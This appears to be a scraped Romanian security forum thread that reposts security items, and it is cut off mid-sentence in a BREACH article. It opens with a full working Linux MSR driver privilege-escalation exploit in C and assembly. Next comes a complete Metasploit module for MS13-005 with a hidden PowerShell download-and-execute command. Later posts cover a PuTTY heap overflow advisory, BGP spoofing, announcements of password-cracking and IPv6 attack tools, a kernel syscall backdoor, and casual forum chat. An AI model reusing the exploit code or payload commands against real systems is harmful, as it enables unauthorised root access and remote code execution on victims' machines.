Nytro

[h=1]Linux Kernel 'MSR' Driver Local Privilege Escalation[/h] // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host// can do whatever in the commented area, re-enable module support, etc // requires CONFIG_X86_MSR and just uid 0 // a small race exists between the time when the MSR is written to the first // time and when we issue our sysenter // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed // configured to take a hex arg of a dword pointer to set to 0 // (modules_disabled, selinux_enforcing, take your pick) // // Hello to Red Hat, who has shown yet again to not care until a // public exploit is released. Not even a bugtraq entry existed in // their system until this was published -- and they have a paid team // of how many? // It's not as if I didn't mention the problem and existence of an easy // exploit multiple times prior: // // // // // // // // spender 2013 #define _GNU_SOURCE #include <stdio.h> #include <sched.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/mman.h> #define SYSENTER_EIP_MSR 0x176 u_int64_t msr; unsigned long ourstack[65536]; u_int64_t payload_data[16]; extern void *_ring0; extern void *_ring0_end; void ring0(void) { __asm volatile(".globl _ring0\n" "_ring0:\n" ".intel_syntax noprefix\n" ".code64\n" // set up stack pointer with 'ourstack' "mov esp, ecx\n" // save registers, contains the original MSR value "push rax\n" "push rbx\n" "push rcx\n" "push rdx\n" // play with the kernel here with interrupts disabled! "mov rcx, qword ptr [rbx+8]\n" "test rcx, rcx\n" "jz skip_write\n" "mov dword ptr [rcx], 0\n" "skip_write:\n" // restore MSR value before returning "mov ecx, 0x176\n" // SYSENTER_EIP_MSR "mov eax, dword ptr [rbx]\n" "mov edx, dword ptr [rbx+4]\n" "wrmsr\n" "pop rdx\n" "pop rcx\n" "pop rbx\n" "pop rax\n" "sti\n" "sysexit\n" ".code32\n" ".att_syntax prefix\n" ".global _ring0_end\n" "_ring0_end:\n" ); } unsigned long saved_stack; int main(int argc, char *argv[]) { cpu_set_t set; int msr_fd; int ret; u_int64_t new_msr; struct sched_param sched; u_int64_t resolved_addr = 0ULL; if (argc == 2) resolved_addr = strtoull(argv[1], NULL, 16); /* can do this without privilege */ mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0); mlock(&payload_data, sizeof(payload_data)); CPU_ZERO(&set); CPU_SET(0, &set); sched.sched_priority = 99; ret = sched_setscheduler(0, SCHED_FIFO, &sched); if (ret) { fprintf(stderr, "Unable to set priority.\n"); exit(1); } ret = sched_setaffinity(0, sizeof(cpu_set_t), &set); if (ret) { fprintf(stderr, "Unable to set affinity.\n"); exit(1); } msr_fd = open("/dev/cpu/0/msr", O_RDWR); if (msr_fd < 0) { msr_fd = open("/dev/msr0", O_RDWR); if (msr_fd < 0) { fprintf(stderr, "Unable to open /dev/cpu/0/msr\n"); exit(1); } } lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); ret = read(msr_fd, &msr, sizeof(msr)); if (ret != sizeof(msr)) { fprintf(stderr, "Unable to read /dev/cpu/0/msr\n"); exit(1); } // stuff some addresses in a buffer whose address we // pass to the "kernel" via register payload_data[0] = msr; payload_data[1] = resolved_addr; printf("Old SYSENTER_EIP_MSR = %016llx\n", msr); fflush(stdout); lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); new_msr = (u_int64_t)(unsigned long)&_ring0; printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr); fflush(stdout); ret = write(msr_fd, &new_msr, sizeof(new_msr)); if (ret != sizeof(new_msr)) { fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n"); exit(1); } __asm volatile( ".intel_syntax noprefix\n" ".code32\n" "mov saved_stack, esp\n" "lea ecx, ourstack\n" "lea edx, label2\n" "lea ebx, payload_data\n" "sysenter\n" "label2:\n" "mov esp, saved_stack\n" ".att_syntax prefix\n" ); printf("Success.\n"); return 0; } Sursa: Linux Kernel 'MSR' Driver Local Privilege Escalation

[h=1]MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation[/h] ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper include Msf::Post::File def initialize(info={}) super( update_info( info, 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation', 'Description' => %q{ The Windows kernel does not properly isolate broadcast messages from low integrity applications from medium or high integrity applications. This allows commands to be broadcasted to an open medium or high integrity command prompts allowing escalation of privileges. We can spawn a medium integrity command prompt, after spawning a low integrity command prompt, by using the Win+Shift+# combination to specify the position of the command prompt on the taskbar. We can then broadcast our command and hope that the user is away and doesn't corrupt it by interacting with the UI. Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT. But Spawning a command prompt with the shortcut key does not work in Vista so you will have to check if the user is already running a command prompt and set SPAWN_PROMPT false. The WEB technique will execute a powershell encoded payload from a Web location. The FILE technique will drop an executable to the file system, set it to medium integrity and execute it. The TYPE technique will attempt to execute a powershell encoded payload directly from the command line but it may take some time to complete. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery 'Axel Souchet', # @0vercl0k POC 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Nov 27 2012", 'References' => [ [ 'CVE', '2013-0008' ], [ 'MSB', 'MS13-005' ], [ 'OSVDB', '88966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ] ] )) register_options( [ OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]), OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]), OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type']) ], self.class ) end def low_integrity_level? tmp_dir = expand_path("%USERPROFILE%") cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin session.shell_command_token("mkdir #{new_dir}") rescue return true end if directory?(new_dir) session.shell_command_token("rmdir #{new_dir}") return false else return true end end def win_shift(number) vk = 0x30 + number bscan = 0x81 + number client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0) client.railgun.user32.keybd_event(vk, bscan, 0, 0) client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0) end def count_cmd_procs count = 0 client.sys.process.each_process do |proc| if proc['name'] == 'cmd.exe' count += 1 end end vprint_status("Cmd prompt count: #{count}") return count end def cleanup if datastore['SPAWN_PROMPT'] and @hwin vprint_status("Rehiding window...") client.railgun.user32.ShowWindow(@hwin, 0) end super end def exploit # First of all check if the session is running on Low Integrity Level. # If it isn't doesn't worth continue print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level? # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low # integrity process can write. drop_to_fs = false if datastore['TECHNIQUE'] == 'FILE' payload_file = "#{rand_text_alpha(5+rand(3))}.exe" begin tmp_dir = expand_path("%TEMP%") tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i cd(tmp_dir) print_status("Trying to drop payload to #{tmp_dir}...") if write_file(payload_file, generate_payload_exe) print_good("Payload dropped successfully, exploiting...") drop_to_fs = true register_file_for_cleanup(payload_file) payload_path = tmp_dir else print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") drop_to_fs = false end rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") drop_to_fs = false end end if drop_to_fs command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}" make_it(command) elsif datastore['TECHNIQUE'] == 'TYPE' if datastore['CUSTOM_COMMAND'] command = datastore['CUSTOM_COMMAND'] else print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload") command = cmd_psh_payload(payload.encoded) end make_it(command) else super end end def primer url = get_uri() download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}" make_it(command) end def make_it(command) if datastore['SPAWN_PROMPT'] @hwin = client.railgun.kernel32.GetConsoleWindow()['return'] if @hwin == nil @hwin = client.railgun.user32.GetForegroundWindow()['return'] end client.railgun.user32.ShowWindow(@hwin, 0) client.railgun.user32.ShowWindow(@hwin, 5) # Spawn low integrity cmd.exe print_status("Spawning Low Integrity Cmd Prompt") windir = client.fs.file.expand_path("%windir%") li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid count = count_cmd_procs spawned = false print_status("Bruteforcing Taskbar Position") 9.downto(1) do |number| vprint_status("Attempting Win+Shift+#{number}") win_shift(number) sleep(1) if count_cmd_procs > count print_good("Spawned Medium Integrity Cmd Prompt") spawned = true break end end client.sys.process.kill(li_cmd_pid) fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned end print_status("Broadcasting payload command to prompt... I hope the user is asleep!") command.each_char do |c| print c if command.length < 200 client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0) end print_line print_status("Executing command...") client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0) end def on_request_uri(cli, request) print_status("Delivering Payload") data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end end Sursa: MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation

[h=1]Defrag Tools: #50 - WPT - Memory Analysis - Heap[/h] Posted: 14 hours ago By: Larry Larsen, Andrew Richards, Chad Beeder [h=3]Download[/h] [h=3]How do I download the videos?[/h] To download, right click the file type you would like and pick “Save target as…” or “Save link as…” [h=3]Why should I download videos from Channel9?[/h] It's an easy way to save the videos you like locally. You can save the videos in order to watch them offline. If all you want is to hear the audio, you can download the MP3! [h=3]Which version should I choose?[/h] If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file (this is the highest quality version we have available). If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. If you have a Zune, Windows Phone, iPhone, iPad, or iPod device, choose the low or medium MP4 file. If you just want to hear the audio of the video, choose the MP3 file. Right click “Save as…” MP3 (Audio only) [h=3]File size[/h] 11.7 MB MP4 (iPod, Zune HD) [h=3]File size[/h] 75.4 MB Mid Quality WMV (Lo-band, Mobile) [h=3]File size[/h] 38.7 MB High Quality MP4 (iPad, PC) [h=3]File size[/h] 163.7 MB Mid Quality MP4 (Windows Phone, HTML5) [h=3]File size[/h] 114.4 MB High Quality WMV (PC, Xbox, MCE) In this episode of Defrag Tools, Andrew Richards, Chad Beeder and Larry Larsen continue walking you through the Windows Performance Toolkit (WPT). This is part 3 of 3 episodes on memory usage/leaks. Example xPerf scripts. Resources: Aaron Margosis VirtMemTest Timeline: [00:00] - 50th Episode of Defrag Tools! [01:20] - Attach: xperf -start HeapSession -heap -pids %1 -stackwalk ... [03:28] - VirtMemTest [04:54] - WPA [06:22] - Type - Allocated Inside (AI) & Outside (AO), Freed Inside (FI) & Outside (FO) [07:20] - Launch: Image File Execution Options [07:51] - Launch: xperf -start HeapSession -heap -pids 0 -stackwalk ... [08:40] - Registry Editor - IFEO [10:26] - WPA [11:06] - Type - Allocated Inside (AI) & Outside (AO), Freed Inside (FI) & Outside (FO) [11:25] - Summary - AIFO Example: "xperf - Collect Heap_Attach.cmd" @echo off echo Press a key when ready to start... pause echo . echo ...Capturing... echo . xperf -on PROC_THREAD+LOADER+VIRT_ALLOC -stackwalk VirtualAlloc+VirtualFree -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -MaxFile 256 -FileMode Circular xperf -start HeapSession -heap -pids %1 -stackwalk HeapAlloc+HeapRealloc -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -MaxFile 256 -FileMode Circular echo Press a key when you want to stop... pause echo . echo ...Stopping... echo . xperf -stop -stop HeapSession -d heap.etl Example: "xperf - Collect Heap_Launch.cmd" @echo off echo Press a key when ready to start... pause echo . echo ...Capturing... echo . rem Add the process to IFEO reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%1.exe" /v TracingFlags /t REG_DWORD /d 1 /f xperf -on PROC_THREAD+LOADER+VIRT_ALLOC -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -stackwalk VirtualAlloc xperf -start HeapSession -heap -pids 0 -stackwalk HeapAlloc+HeapRealloc -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -MaxFile 256 -FileMode Circular echo Press a key when you want to stop... pause echo . echo ...Stopping... echo . xperf -stop HeapSession -stop -d heap.etl rem Remove the process from IFEO reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%1.exe" /v TracingFlags /f Sursa: Defrag Tools: #50 - WPT - Memory Analysis - Heap | Defrag Tools | Channel 9

BGP spoofing - why nothing on the internet is actually secure Summary: A skilled attacker with access to the right router can co-opt routes to destination IP address. When this happens, nothing on the internet is trustworthy. And there's no way to stop it. By Larry Seltzer for Zero Day | August 6, 2013 -- 04:00 GMT (21:00 PDT) The scariest hack of them all on the internet has been around for a long time, but it doesn't get a lot of attention in the broader tech press. It's BGP spoofing and it compromises the most basic functions of the internet: the routing of data from one system to another. Effective use of BGP spoofing is not within the reach of script kiddies, but there's a lot of it going on. How much? Nobody knows and nobody can know. It's possible to detect that an attack is going on, but it's impossible to prevent it and it may be difficult to stop an attack in progress. I spoke with Dave Rand, Technical Fellow at Trend Micro. Back in the mid-90's Rand worked at an ISP and first encountered BGP spoofing used to facilitate spamming. The routing in the mail headers of the spam looked particularly genuine because all the addresses were correct. At the bottom of it was a compromised router at an ISP. I've spoken to Dave many times over the years about BGP spoofing. He's always considered it a very serious problem that is fundamentally insolvable and I'd like to thank him for all the information below. How is all this possible? It starts with the very basics of how the internet works. The internet is a network of networks. Routers are used to move data between networks according to IP addresses that are stored in their routing tables. Routers will advertise to each other that they use certain addresses. But — and this is very important — there is no authority to check to confirm that a particular address belongs to a particular network. There are organizations, such as RIPE in Europe and ARIN for the US and Canada, which allocate IP addresses (all they have left is IPv6 addresses), but there's no where you can check to confirm an allocation authoritatively. Because of this, the updating of routing tables is done entirely on trust. Consider this simplistic example: ISP1 has the address space 1.0.0.0/8 and ISP2 has 2.0.0.0/8. They each advertise their space to the other. Now ISP3 advertises 3.0.0.0/8 to ISP1 and asks ISP1 to advertise its addresses, which it does. ISP1 becomes a transit provider for ISP3, a service for which ISP3 pays ISP1. But ISP1 has no real way to confirm that ISP3's advertisements are accurate. Here's another important point: shorter routes get higher priority from the router. If ISP3 were to advertise a small subset of addresses to ISP1 with shorter paths than what ISP1 already had, ISP1 would follow those routes instead of what was already in the routing table. It's important to note that in order to execute this attack you need control of an ISP router. You might think that this would be hard to do, and it's harder than it used to be, but it's not impossible. It's still possible to find routers with default admin passwords or passwords on a common dictionary list. And once you do and take control, there's nothing to stop you from advertising Bank of America addresses on your network. I suspect that the large majority of erroneous advertisements are, well, erroneous. They're not malicious, they're just screwups. There was a recent incident where some bad routes in NedZone Internet BV's network included Amazon.com and a bunch of big banks. It looks way too brazen to be an attack. If you really wanted to be effective and surreptitious with such an attack you'd be lower-profile. You'd attack the router of a small or mid-size ISP and you'd only advertise it for a short time, but during that time you'd have other attacks, like cross-site scripting and targeted spam, ongoing against that ISP's users. When they attempt to communicate with their bank or retailer they will instead go to your servers; you can spoof those servers, see the cookies, it all depends on how ornate you want to get, but all you really need is to get users to log on to the site, which can satisfy SSL and get the little lock icon because the attacker can control those addresses too. Once you have validated logins for those accounts you can sell them for a lot. Sometimes malicious attacks are not for profit, but just network vandalism. In 2008 there was a dispute between YouTube and the government of Pakistan about certain content. Sometime later false BGP routes pointed YouTube traffic in much of Europe to Pakistan Telecom, stealing traffic from YouTube but also flooding Pakistan Telecom with all of YouTube's traffic. RIPE, the regional internet registry for Europe, has . After an attack like this there may be no footprints left. Nobody logs router advertisements. There are groups that log and analyze the global routing table, such as the fascinating CIDR Report, and look for routes that don't make sense. But these only catch changes that propagate out to the global routing table. A transient advertisement which only goes to an ISP's peer and not a transit provider won't get to the global table. And even if it does, by the time anyone can see what's going on it will be too late. It's impossible to block BGP spoofing attacks in a consistent, automated fashion, but it is possible to apply some common sense and experience, what you might call heuristics, to determine that a route isn't kosher. If a small ISP in Brazil starts advertising routes to PayPal then an experienced CNE might think twice about replicating it. But these things don't usually get vetted by a human being; there's too much going on. All ISPs advertise their routes to the other networks to which they connect and these companies (there are 30 or 40 thousand ISPs now) have a relationship and contracts, so they trust each other. And if they wanted to check the addresses they couldn't; there's no authoritative place to check. You might complain that best administration practices, such as good route filtering, would prevent these attacks, and there's something to that. You can certainly prevent a lot of them with best practices. There are other practices that can make it harder to exploit such attacks successfully, such as using strong encryption and authentication for all local traffic, but there's no technique that will block these attacks in all cases. If you find out that an ISP has bogus routes to your network what can you do? All you can do is call them and ask them (nicely or otherwise) to withdraw the route, but you can't make them. If they don't respond adequately you can complain to their upstream providers and ask them to block the route, but once again there is no official mechanism for doing this because there is no authority in charge of it, and you probably don't even have a relationship with the ISP to which you're complaining. Of all the attacks happening under the radar on the internet, the most dangerous ones are likely based on BGP spoofing. It's the best reason to assume that a lot more network compromising, by criminal and government actors, is happening than is officially acknowledged, and even the officials don't really know how much is happening. What can be done? If Dave Rand doesn't know then I sure don't. Sursa: BGP spoofing - why nothing on the internet is actually secure | ZDNet

PuTTY 0.62 Heap Overflow Authored by Gergely Eberhardt PuTTY versions 0.62 and below suffer from an SSH handshake heap overflow vulnerability. PuTTY SSH handshake heap overflow (CVE-2013-4852) Description: PuTTY versions 0.62 and earlier - as well as all software that integrates these versions of PuTTY - are vulnerable to an integer overflow leading to heap overflow during the SSH handshake before authentication, caused by improper bounds checking of the length parameter received from the SSH server. This allows remote attackers to cause denial of service, and may have more severe impact on the operation of software that uses PuTTY code. Affected software products: - PuTTY up to and including 0.62 - WinSCP before 5.1.6 - all other software that uses vulnerable (revision 9895 or earlier) PuTTY code Details: A malformed size value in the SSH handshake could cause an integer overflow, as the getstring() function in sshrsa.c and sshdss.c read the handshake message length without checking that it was not a negative number. Specifically, the bignum_from_bytes() function invoked by getstring() received a data buffer along with its length represented by a signed integer (nbytes) and performed the following arithmetical operation before allocating memory to store the buffer: w = (nbytes + BIGNUM_INT_BYTES - 1) / BIGNUM_INT_BYTES; /* bytes->words */ result = newbn(w); If the value of nbytes was -1 (0xffffffff), the value of w would overflow to a very small positive number (depending on the value of BIGNUM_INT_BYTES), causing newbn() to reserve a very small memory area. Then a large number of bytes would be copied into the data buffer afterwards, resulting in a heap overflow. Similarly, if nbytes was chosen so that w would be -1, the newbn() function would allocate zero bytes in memory via snewn() and attempt to write the size of the Bignum (in four bytes) into the allocated zero-byte area, also resulting in a heap overflow. Consequences: In the standalone PuTTY client the attacker does not have precise control over the memory corruption, so this bug can only cause a local denial-of-service (crash). However, in other software that uses PuTTY code, such heap corruption could have more severe effects. Specifically in case of WinSCP, this vulnerability could potentially lead to code execution due to the exception handling employed by the program. Solution: This vulnerability has been fixed in the development version of PuTTY [2]. All developers using PuTTY code are recommended to use revision 9896 or later. The potential code execution vulnerability has been addressed in WinSCP 5.1.6 [3]. Credits: This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu) References: [1] http://www.search-lab.hu/advisories/secadv-20130722 [2] http://svn.tartarus.org/sgt?view=revision&sortby=date&revision=9896 [3] http://winscp.net/tracker/show_bug.cgi?id=1017 Sursa: PuTTY 0.62 Heap Overflow ? Packet Storm

Da, interesant

THC-IPv6 Attack Tool 2.3 Authored by van Hauser, thc | Site thc.org THC-IPV6 is a toolkit that attacks the inherent protocol weaknesses of IPv6 and ICMP6 and it includes an easy to use packet factory library. Changes: 2 new tools added as well as 2 new scripts. Various updates to existing tools. Download: http://packetstormsecurity.com/files/download/122685/thc-ipv6-2.3.tar.gz Sursa: THC-IPv6 Attack Tool 2.3 ? Packet Storm

Hydra Network Logon Cracker 7.5 Authored by van Hauser, thc | Site thc.org THC-Hydra is a high quality parallelized login hacker for Samba, Smbnt, Cisco AAA, FTP, POP3, IMAP, Telnet, HTTP Auth, LDAP, NNTP, MySQL, VNC, ICQ, Socks5, PCNFS, Cisco and more. Includes SSL support, parallel scans, and is part of Nessus. Changes: Moved the license from GPLv3 to AGPLv3. Added module for Asterisk Call Manager. Added support for Android where some functions are not available. Various other updates. Download: http://packetstormsecurity.com/files/download/122684/hydra-7.5.tar.gz Sursa: Hydra Network Logon Cracker 7.5 ? Packet Storm

Netsniff-NG High Performance Sniffer 0.5.8 RC2 Authored by Tobias Klauser, Daniel Borkmann | Site code.google.com netsniff-ng is is a free, performant Linux network sniffer for packet inspection. The gain of performance is reached by 'zero-copy' mechanisms, so that the kernel does not need to copy packets from kernelspace to userspace. For this purpose netsniff-ng is libpcap independent, but nevertheless supports the pcap file format for capturing, replaying and performing offline-analysis of pcap dumps. netsniff-ng can be used for protocol analysis, reverse engineering and network debugging. Changes: Build system fixes and clean ups. Mausezahn man pages improvements. Compiler warnings fixed. Support for replaying/reading pcap capture files from/to tunnel devices. Download: http://packetstormsecurity.com/files/download/122652/netsniff-ng-0.5.8-rc2.tar.gz Sursa: Netsniff-NG High Performance Sniffer 0.5.8 RC2 ? Packet Storm

(Syscall IDP Engine). Captures all system services(KDR, hidden). Returns control on specified address(int 0x2e/sysenter -> PEB.Filter()). By calling the backdoor control is returned to the kernel(Filter() -> backdoor() -> nt service dispatcher). o X86, KM, MI, KDR. o May be choose SST[0], SST[0] for gui-thread, SST[1] for shadow. Vid Video2.avi — RGhost — ????????????? Org VX Forum SIDE.zip Sursa: SIDE.

Ideea e simpla. Sa presupunem ca scrii o functie: RST() pe care o apelezi in main(). int main(){ RST(); } void RST() { // Ceva } Acest cod iti va da eroare deoarece in main, NU cunoaste functia RST, deoarece nu a fost declarata inca (pe scurt, pentru ca e definita SUB functia main). Ceea ce poti face insa e ca deasupra functiei main, sa declari PROTOTIPUL functiei RST, urmat de ";". Adica: void RST();int main() { RST(); } void RST() { // Ceva } Acum compilatorul stie ca tu ai o functie RST, fara parametri, de tip "void". Asta e ideea.

Paper util: http://www.iacr.org/cryptodb/archive/2002/FSE/3091/3091.pdf

Mie imi merg cele de pe imgur. Nu va apar? Dati si voi Clear Cache ceva.

Da, adica voi puneti link-uri de cacat, catre pagini HTML care CONTIN o porcarie de imagine. Puneti link direct catre imagine daca vreti sa mearga. Multumim pentru intelegere.

S-a incercat asa ceva in trecut, s-au laudat multi ca vor a invete, ca vor sa participe si ne trezeam cu vreo 10 insi care erau pe chat (era un chat pe care se discuta, se explica) dintre care 6-7 nici nu erau la calculator.

Stiu: Firefox Zero-Day Exploit used by FBI to shutdown Child porn on Tor Network hosting; Tor Mail Compromised - The Hacker News

Jumatate dintre site-urile din reteaua TOR, compromise. Fondatorul Freedom Hosting, arestat de Redactia Hit | 5 august 2013 FBI-ul a demarat in acest week-end o actiune de proportii care vizeaza depistarea si capturarea furnizorilor de materiale online ilegale care au ca subiect pornografia infantila. Deja au avut loc arestari importante. Potrivit unei postari pe TwittLonger, mai bine de jumatate dintre site-urile care ruleaza prin reteaua Tor au fost compromise si acelasi lucru s-a intamplat cu adresele de email de pe TORmail, considerat cel mai bine securizat serviciu de posta electronica. In cadrul actiunii autoritatilor americane, Eric Eoin Marques, fondatorul Freedom Hosting, care deserveste inclusiv serverele TORmail, a fost arestat in Irlanda si acuzat de furnizare si promovare de materiale pornografice cu minori. FBI-ul il descrie pe Eric Eoin Marques drept "cel mai mare promotor de astfel de materiale din lume", iar autoritatile americane au cerut extradarea. Sambata dimineata, in acelasi timp cu raspandirea vestii arestarii lui Eric Eoin Marques, toate site-urile gazduite de FH au fost inchise, potrivit publicatiei DailyDot.com, iar majoritatea celor care au revenit online putin mai tarziu au fost compromise cu ajutorul unei vulnerabilitati care permite accesul la cookie-uri, autentificari si adrese IP. Interesant este faptul ca aceasta cadere a multor site-uri care functioneaza prin TOR si a serviciilor TORmail a avut loc chiar in timpul conferintei de hacking DEFCON, care s-a desfasurat intr 1 si 4 august. Trebuie precizat faptul ca TOR nu este o retea care trebuie confundata cu instrumentul exlcusiv al infractorilor online. TOR este folosita de toti cei care sperau ca reteaua le poate asigura confidentialitatea datelor personale si a comunicatiilor online si s-a bucurat de succes mai ales in contextul intruziunii din ce in ce mai directe a autoritatilor in viata privata a indivizilor. In ultimii cinci ani, autoritatile si diferite organizatii de hackeri au incercat sa sparga securitatea retelei, insa abia acum acest lucru a fost realizat. Freedom Hosting este serviciul de gazduire internet cel mai popular din reteaua TOR, dar si, probabil, cel mai controversat din cauza legaturilor cu site-uri ilegale precum Lolita City, the Love Zone sau PedoEmpire. In acest moment, multe site-uri gazduite de Freedom Hosting sunt la pamant sau sunt raportate ca infectate. Inchiderea celor mai importante site-uri de pornografie infantila este prima victorie concreta si de proportii a autoritatilor impotriva infractorilor online. Momentan, insa, nu se poate spune cine a stat la baza atacului asupra Freedom Hosting si nici care a fost metoda de atac. Din informatiile care circula pe internet, "raidul" FBI si al hackerilor care sprijina actiunea autoritatilor va continua cel putin inca doua saptamani. Vom reveni cu amanunte. Surse: The Daily Dot, Irish Independent Deoarece va pica coaiele daca cititi stirea in engleza, uitati o versiune in limba romana. Muie. Sursa: Jumatate dintre site-urile din reteaua TOR, compromise. Fondatorul Freedom Hosting, arestat | Hit.ro

[h=1]Over $100,000 in cash and prizes to be won in our new Windows and Windows Phone contest[/h]Unity and Microsoft are inviting Unity developers to enter a new contest by submitting beautifully crafted, high-quality new or existing games or content for the upcoming Windows Store Apps and Windows Phone 8 platforms. Over $100,000 in cash and prizes will be awarded to a number of talented and lucky winners. [h=2]Windows Phone 8 games or content[/h] First prize: $30,000 USD Second prize: $10,000 USD Third prize: $5,000 USD [h=2]Windows Store games or content[/h] First prize: $30,000 USD Second prize: $10,000 USD Third prize: $5,000 USD Sursa: Unity - Windows Contest

Ati ramas cu ideea invechita cum ca IE e un jeg. Nu mai e asa. Da, apar probleme de "Code execution" in IE, insa ceea ce nu intelegeti, e ca apar si in alte browsere, Firefox si Chrome, doar ca acolo se repara mai repede si fara sa fie asa vizibil. (acele Bug Bounty sunt de vina...) Legat de programarea web, sa va zic un lucru pe care l-am patit acum ceva timp. 1. Fac si eu o pagina HTML, de 2 lei, ca nu ma pricep 2. Pagina se vede ok in toate browserele mai putin IE 3. Constat ca problema e un atribut CSS (nu mai stiu care) 4. Citesc in STANDARD si vad ca acel atribut e READ-ONLY iar eu incercat sa il modific 5. Ajung la concluzia ca IE e singurul browser ce tinde sa respecte standardele. Celelalte browsere sunt mai "prietenoase" cu programatorii slabi si permit o gramada de lucruri care nu ar trebui permise. Daca o pagina nu se vede ok in IE, e vina voastra, nu a IE-ului. Cititi standardele si o sa va convingeti. Revenind la partea de "safety", e cam aiurea ce s-a luat in considerare, cu acele link-uri blocate. Da, partial sunt de acord, adica in mod cert e o ramura care trebuie luata in considerare cand se compara niste browsere din punctul de vedere al securitatii, dar NU E SINGURA.

E de la secimg.php

Sunt probleme cu redirectionarea "Location: " si ceva ciudat cu HTTPS. Zilele astea, cand am timp, o sa repar, cel putin o parte dintre ele.

Haide ma

Un singur cuvant: SEO.

[h=1]Using SQLNinja to own MS-SQL Database Servers[/h] Posted by: FastFlux August 1, 2013 in Media, Tutorials, Videos Leave a comment This video was recorded and produced by Hood3dRob1n and is for educational purposes only. This is a special demo I made for a few friends to highlight how you can use SQLNINJA to completely pwn MS-SQL Servers where stacked queries are supported, without any need to dump anything or set foot in any admin panel. Sursa: Using SQLNinja to own MS-SQL Database Servers

[h=1]Gone in 30 seconds: New attack plucks secrets from HTTPS-protected pages[/h][h=2]Exploit called BREACH bypasses the SSL crypto scheme protecting millions of sites.[/h] by Dan Goodin - Aug 1 2013, 6:30pm GTBST A frame from a video demonstration showing BREACH in the process of extracting a 32-character security token in an HTTPS-encrypted Web page. Prado, Harris, and Gluck The HTTPS cryptographic scheme, which protects millions of websites, is susceptible to a new attack that allows hackers to pluck e-mail addresses and certain types of security credentials out of encrypted pages, often in as little as 30 seconds. The technique, scheduled to be demonstrated Thursday at the Black Hat security conference in Las Vegas, decodes encrypted data that online banks and e-commerce sites send in responses that are protected by the widely used transport layer security (TLS) and secure sockets layer (SSL) protocols. The attack can extract specific pieces of data, such as social security numbers, e-mail addresses, certain types of security tokens, and password-reset links. It works against all versions of TLS and SSL regardless of the encryption algorithm or cipher that's used. It requires that the attacker have the ability to passively monitor the traffic traveling between the end user and website. The attack also requires the attacker to force the victim to visit a malicious link. This can be done by injecting an iframe tag in a website the victim normally visits or, alternatively, by tricking the victim into viewing an e-mail with hidden images that automatically download and generate HTTP requests. The malicious link causes the victim's computer to make multiple requests to the HTTPS server that's being targeted. These requests are used to make "probing 